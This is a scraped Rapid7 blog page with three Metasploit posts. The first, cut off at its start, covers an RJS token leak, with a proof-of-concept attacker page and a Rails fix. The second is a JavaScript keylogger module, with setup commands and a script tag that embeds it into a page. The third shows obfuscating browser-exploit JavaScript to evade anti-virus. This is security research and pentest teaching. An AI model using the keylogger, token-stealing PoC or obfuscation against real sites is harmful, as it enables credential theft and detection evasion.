action='/login' method='POST'> <input type='hidden' name='auth_token' value='XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'> <table> <tr> <td>Name</td> <td><input type='text'></td> </tr> <tr> <td>Password</td> <td><input type='password'></td> </tr> </table> </input>") Now imagine user Tom is logged into the Rails app (which we'll say is served from railsapp.com). An unrelated website attacker.com might serve Tom the following code: <html> <body> <script src='https://railsapp.com/dashboard/login.js'></script> </body> </html> Because <script> tags are allowed to be cross-origin (this is useful for CDNs), Tom's browser happily sends a GET request to railsapp.com, attaching his railsapp.com cookie. The RJS script is generated and returned to Tom, and his browser executes it. By stubbing out the necessary functions in the global scope, attacker.com can easily gain access to the string of HTML that is sent back: <html> <body> <script> function $() { return { show: function() { return { html: function(str) { alert(str); } }; } }; } </script> <script src='http://railsapp.com/dashboard/login.js'></script> </body> </html> And now attacker.com can easily parse out Tom's CSRF auth token and start issuing malicious CSRF requests to railsapp.com. This means that attacker.com can submit any form in railsapp.com. The same technique can be used to leak other information besides auth token, including logged-in status, account name, etc. As a pentester, how can I spot this bug while auditing a web app? It is pretty easy to find this vulnerability. Click around a while in the web app and keep Web Inspector's Network tab open. Look for .js requests sent sometime after a page load. Any response to a .js request that includes private info (auth token, user ID, existence of a login session) can be "hijacked" using an exploit similar to the above PoC. How can I fix this in my web app? The fix prescribed by Rails is to go through your code and add request.xhr? checks to every controller action that uses RJS. This is annoying, and is a big pain if you have a large existing code base that needs patching. Since Metasploit Pro was affected by the vulnerability, we needed a patch quick. So I present our solution to the vulnerability - we now check all .js requests to ensure that the REFERER header is present and correct. The only downside here is that your app will break for users behind proxies that strip referers. Additionally, this patch will not work for you if you plan on serving cross-domain JavaScript (e.g. for a hosted JavaScript SDK). If you can stomach that sacrifice, here is a Rails initializer that fixes the security hole. Drop it in ui/config/initializers of your Rails app: # This patch adds a before_filter to all controllers that prevents xdomain # .js requests from being rendered successfully. module RemoteJavascriptRefererCheck extend ActiveSupport::Concern included do require 'uri' before_filter :check_rjs_referer, :if => ->(controller) { controller.request.format.js? } end # prevent generated rjs scripts from being exfiltrated by remote sites # see http://homakov.blogspot.com/2013/11/rjs-leaking-vulnerability-in-multiple.html def check_rjs_referer referer_uri = begin URI.parse(request.env["HTTP_REFERER"]) rescue URI::InvalidURIError nil end # if request comes from a cross domain document if referer_uri.blank? or (request.host.present? and referer_uri.host != request.host) or (request.port.present? and referer_uri.port != request.port) head :unauthorized end end end # shove the check into the base controller so it gets hit on every route ApplicationController.class_eval do include RemoteJavascriptRefererCheck end And your server will now return a 500 error to any RJS request that does not contain the correct REFERER. A gist is available here, just download and place in $RAILS_ROOT/config/initializers.

The Art of Keylogging with Metasploit & Javascript

Rarely does a week go by without a friend or family member getting their login credentials compromised, then reused for malicious purposes. My wife is always on the lookout on Facebook, warning relatives and friends to change their passwords. Many people don't understand how their…

Rarely does a week go by without a friend or family member getting their login credentials compromised, then reused for malicious purposes. My wife is always on the lookout on Facebook, warning relatives and friends to change their passwords. Many people don't understand how their credentials get compromised. Password reuse on several websites is usually the culprit. Password reuse is a problem even if the website encrypts the passwords in their databases. An attacker only needs to insert some evil code, and allow it to do the work for them. This is one of the many reasons how the Internet is a like a field of mines, where malicious code is around every turn. If an attacker can insert code on a website they don't need to crack any passwords. Keyloggers can be included on most websites with one line of code. The activity that ensues is pretty awesome from an attacker's perspective, they can sit back and watch credentials magically appear. It reminds me of the fisherman tales of fishes jumping into their boats. In the information security field Metasploit is the ultimate, "I can show you better than I can tell you!" software. Security professionals need to be able to demonstrate exploitation techniques to users and management. I have seen Javascript Keyloggers out there in the wild, but couldn't find a scalable, easy to deploy version. So I sat down a couple of weeks ago and wrote a Metasploit based Javascript keylogger from scratch. I have to give props to Wei, Tod, and HD for motivation and help with fine tuning the module.  Adding exploitation techniques to Metasploit solves any scalability and deploy-ability issues. James "@egyp7" Lee presented a talk at the last BSides Las Vegas, on why it makes sense to develop these types of tools using Metasploit. The reason is Metasploit has tons of code that you can reuse to build anything, almost like Lego blocks. The Metasploit Javascript Keylogger sets up a HTTP/HTTPS listener which serves the Javascript keylogger code and captures the keystrokes over the network. I've include a demo page within the module for testing purposes. Just enter "set DEMO true" during module setup as you can see below to activate the demo page. To access the demo page, just append "/demo" to the URL provided. Of course, the keylogger captures all keystrokes including tabs, carraige returns, and backspaces entered on the webpage once the Javascript HTML tag is in embeded on a webpage. Step 1: Module setup: msf > use auxiliary/server/capture/http_javascript_keylogger msf auxiliary(http_javascript_keylogger) > set demo true demo => true msf auxiliary(http_javascript_keylogger) > show options Module options (auxiliary/server/capture/http_javascript_keylogger): Name Current Setting Required Description ---- --------------- -------- ----------- DEMO true yes Creates HTML for demo purposes SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) URIPATH no The URI to use for this exploit (default is random) msf auxiliary(http_javascript_keylogger) > run [*] Using URL: http://0.0.0.0:8080/qZBRzd [*] Local IP: http://192.168.1.131:8080/qZBRzd [*] Server started. Step 2: Demo page URL Step 3 (Optional) : To embed the keylogger into any webpage, use a reachable URL along with HTML <script> tag appended with /[whatever].js. <script type="text/javascript" src="http://192.168.1.131:8080/qZBRzd/test.js"> Screen Capture 1: Module setup and run Screen Capture 2: Demo page Screen Capture 3: Keystrokes captured and stored to loot As always hack responsibly. Let me know if you have any question in the comments. If you haven't looked at Metasploit Community Edition, you should definitely give it a try. You can also hit me on Twitter @threatagent.

Javascript Obfuscation in Metasploit

As of this writing, Metasploit has 152 browser exploits. Of those, 116 use javascript either to trigger the vulnerability or as a means to control the memory layout of the browser process [1]. Right now most of that javascript is static. That makes it easier…

As of this writing, Metasploit has 152 browser exploits. Of those, 116 use javascript either to trigger the vulnerability or as a means to control the memory layout of the browser process [1]. Right now most of that javascript is static. That makes it easier for anti-virus and IDS folks to signature. That makes it less likely for you to get a shell. Skape recognized this problem several years ago and added Rex::Exploitation::ObfuscateJS to address it. This first-gen obfuscator was based on substituting static strings which requires a priori knowledge of what you want to substitute, meaning you need to take care of variable names. Changes to the code need to be reflected in the calls to obfuscate() and anything you miss will remain static. It also means that you have to ensure variable names don't end up in a string or elsewhere where they might get inadvertantly smashed. To overcome these limitations, several modules employ a simple technique of using random values for javascript vars but they lose out on string manipulations. Enter RKelly, a pure-ruby javascript lexer. Having a full parser gives us a lot more power than the previous obfuscation techniques available in the framework. For one, it gives us type information for literals, which makes string and number mangling really easy.  While a particular static ROP chain might be easy to fingerprint, that same string can be easily represented numerous ways through javascript manipulations. Some of the ideas for mangling literals came from Drivesploit with several new techniques thrown in as well. There's even a wrapper class, Rex::Exploitation::JSObfu for dealing with it. Syntax is simlar to it's older cousin, but without the need for klunky lists of varnames to replace.Here's an example from windows/browser/cisco_anyconnect_exec:     js = ::Rex::Exploitation::JSObfu.new %Q|       var x = document.createElement("object");       x.setAttribute("classid", "clsid:55963676-2F5E-4BAF-AC28-CF26AA587566");       x.url = "#{url}/#{dir}/";     |     js.obfuscate     html = "<html>\n<script>\n#{js}\n</script>\n</html>" And the html as delivered to a browser:<html> <script> var GPSweCkB = document.createElement((function () { var XoNO="ject",apoc="ob"; return apoc XoNO })()); GPSweCkB.setAttribute((function () { var pYmx="ssid",aTIE="a",tvPA="cl"; return tvPA aTIE pYmx })(), (function () { var MbWt="7566",UcNA="7",PUHo="c",yFIi="6-2F5",YXvW="sid",sYCs="E-4BAF",SZBF="9",yZMK="-AC28-CF26AA",BmVk="l",AbBB="58",iRQW="636",RQLv=":55"; return PUHo BmVk YXvW RQLv SZBF iRQW UcNA yFIi sYCs yZMK AbBB MbWt })()); GPSweCkB.url = String.fromCharCode(104,0164,0164,112,0x3a,0x2f,0x2f,49,50,067,056,48,0x2e,48,46,49,072,0x38,060,070,060,47,47,112,0165,0x46,0x62,0x4a,111,0146,0124,0143,0172,0x43,89,82,0x75,65,111,81,47); </script> </html> Of course, this will be different for each request.So now a call to arms. We could use some help testing 116 browser exploits to see if javascript obfuscation is viable and several issues make that more challenging. For one, getting ahold of the vulnerable software is sometimes quite difficult. Also, in some cases where the vulnerability has very restrictive memory layout requirements, obfuscation may break the exploit.What we need is people with old browsers and old plugins/toolbars/etc who can:Modify exploit modules to use the new obfuscation techniquesTest their changes against as many versions of the vulnerable software as possibleTest their changes against any anti-virus that claims to protect web browsingIf you're interested in helping out, contact me in #metasploit on FreeNode, or @egyp7 on twitter.[1] Gathered with the following commands:   $ ls modules/exploits/*/browser/*.rb | wc -l   152   $ ls modules/exploits/*/browser/*.rb | xargs grep '<script' | wc -l   116

Featured Research

National Exposure Index 2017

The National Exposure Index is an exploration of data derived from Project Sonar, Rapid7's security research project that gains insights into global exposure to common vulnerabilities through internet-wide surveys.

Learn More

Toolkit

Make Your SIEM Project a Success with Rapid7

In this toolkit, get access to Gartner's report “Overcoming Common Causes for SIEM Solution Deployment Failures,” which details why organizations are struggling to unify their data and find answers from it. Also get the Rapid7 companion guide with helpful recommendations on approaching your SIEM needs.

Download Now

Podcast

Security Nation

Security Nation is a podcast dedicated to covering all things infosec – from what's making headlines to practical tips for organizations looking to improve their own security programs. Host Kyle Flaherty has been knee–deep in the security sector for nearly two decades. At Rapid7 he leads a solutions-focused team with the mission of helping security professionals do their jobs.

Listen Now